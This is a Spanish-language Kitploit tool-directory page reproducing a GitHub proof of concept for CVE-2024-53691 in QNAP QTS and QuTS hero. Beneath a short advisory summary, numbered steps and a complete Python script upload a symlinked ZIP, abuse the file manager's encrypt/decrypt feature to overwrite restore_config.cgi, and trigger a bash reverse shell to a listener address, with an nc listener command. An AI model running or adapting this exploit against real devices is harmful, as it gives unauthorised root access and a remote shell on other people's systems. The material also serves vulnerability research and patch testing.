Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-53691 — CVE-2024-53691 | Kitploit
Herramientas/GitHubGitHub/c411e/cve-2024-53691
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubc411e/cve-2024-53691

CVE-2024-53691

CVE-2024-53691

Ver Repositorio
153hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-53691

  • https://www.qnap.com/en/security-advisory/qsa-24-28
  • https://www.cve.org/CVERecord?id=CVE-2024-53691
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (8.7)

"Si se explota, la vulnerabilidad de seguimiento de enlaces podría permitir a atacantes remotos que hayan obtenido acceso de usuario recorrer el sistema de archivos a ubicaciones no deseadas."

Fecha de descubrimiento: 22 de abril de 2024
Fecha de corrección: 7 de septiembre de 2024
Versión(es) afectada(s): QTS 5.1.x, QuTS hero h5.1.x
Versión(es) corregida(s): QTS 5.2.0.2802 build 20240620 y posteriores, QuTS hero h5.2.0.2802 build 20240620 y posteriores
Permisos de acceso: Usuario regular con permiso de carga de archivos

Resumen:
Es posible cargar un enlace simbólico a través de un archivo ZIP y abusar de la función de cifrado/descifrado para obtener una primitiva de escritura arbitraria de archivos que puede convertirse en ejecución remota de código.
Un atacante con privilegios de usuario regular puede explotar la vulnerabilidad para obtener ejecución de código como usuario root y comprometer completamente el sistema.

Pasos para reproducir

  1. Crea un enlace simbólico y colócalo en un archivo ZIP. El destino del enlace simbólico especifica qué archivo será sobrescrito. Para lograr la ejecución remota de código se eligió /home/httpd/cgi-bin/restore_config.cgi.

    root@kitploit:~
    ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
    zip --symlink pwn.zip link.txt
    
  2. Escribe los comandos de shell que se ejecutarán en payload.txt. En el ejemplo se utiliza un reverse shell estándar de bash. No olvides ajustar la IP y el puerto del listener.

    root@kitploit:~
    #!/bin/sh
    bash -c "bash -i >& /dev/tcp/192.168.178.142/4444 0>&1" &
    . /home/httpd/cgi-bin/json_output
    output_http_header
    output_header
    output_save_restore
    output_tail
    
  3. Inicia sesión como un usuario con pocos privilegios.

  4. Carga el archivo ZIP a través de la interfaz web.

  5. Extrae el archivo ZIP haciendo clic derecho y seleccionando Extraer a /pwn/.

  6. Sube el payload.txt a /pwn/payload.txt.

    Archivos subidos

  7. Cifra el payload.txt haciendo clic derecho, seleccionando Cifrar y estableciendo ¿Deseas cifrar y reemplazar el archivo original? en Sí.

  8. Renombra el archivo payload.txt.qenc a link.txt.qenc haciendo clic derecho y seleccionando Renombrar.

  9. Descifra el archivo link.txt.qenc haciendo clic derecho, seleccionando Descifrar y estableciendo Modo en Sobrescribir.

  10. Inicia tu listener de reverse shell.

    root@kitploit:~
    nc -nvlp 4444
    
  11. Abre el endpoint /cgi-bin/restore_config.cgi en tu navegador para activar la ejecución del reverse shell.

    Reverse shell como administrador

Prueba de concepto

El siguiente script en Python puede ser utilizado para explotar la vulnerabilidad.

root@kitploit:~
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3

# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
LISTENER_IP = '192.168.178.142'
LISTENER_PORT = 4444
PAYLOAD = f"""#!/bin/sh
bash -c "bash -i >& /dev/tcp/{LISTENER_IP}/{LISTENER_PORT} 0>&1" &
. /home/httpd/cgi-bin/json_output
output_http_header
output_header
output_save_restore
output_tail
"""
#DEBUG_PROXY = 'http://localhost:8080'

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def main() -> None:
    session = Session()
    #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print('creating zip file')
    os.system("""
        rm -f link.txt pwn.zip payload.txt
        ln -s /home/httpd/cgi-bin/restore_config.cgi link.txt
        zip --symlink pwn.zip link.txt
    """)

    print('loggin in')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('uploading zip file')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('unpacking zip file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/pwn'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


    time.sleep(5)

    print('uploading payload file')
    upload_file(session, sid, 'pwn/payload.txt', str.encode(PAYLOAD))

    print('encrypting payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=encrypt',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'passwd': 'test', 'dest_path': '/home', 'source_total': '1', 'source_path': '/home', 'source_file': 'pwn/payload.txt', 'mode': '0', 'keep': '1'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    print('renaming payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=rename&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'path': '/home/pwn', 'source_name': 'payload.txt.qenc', 'dest_name': 'link.txt.qenc'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] in (1, 2)

    print('decrypting payload file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=cipher&sid={sid}&subfunc=decrypt',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'passwd': 'test', 'dest_path': '/home/pwn', 'source_total': '1', 'source_path': '/home/pwn', 'source_file': 'link.txt.qenc', 'mode': '0'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    time.sleep(1)
    print('executing payload') 
    session.get(f'{ENDPOINT}/cgi-bin/restore_config.cgi')


def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # get upload id
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # upload file
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()
Descargar herramienta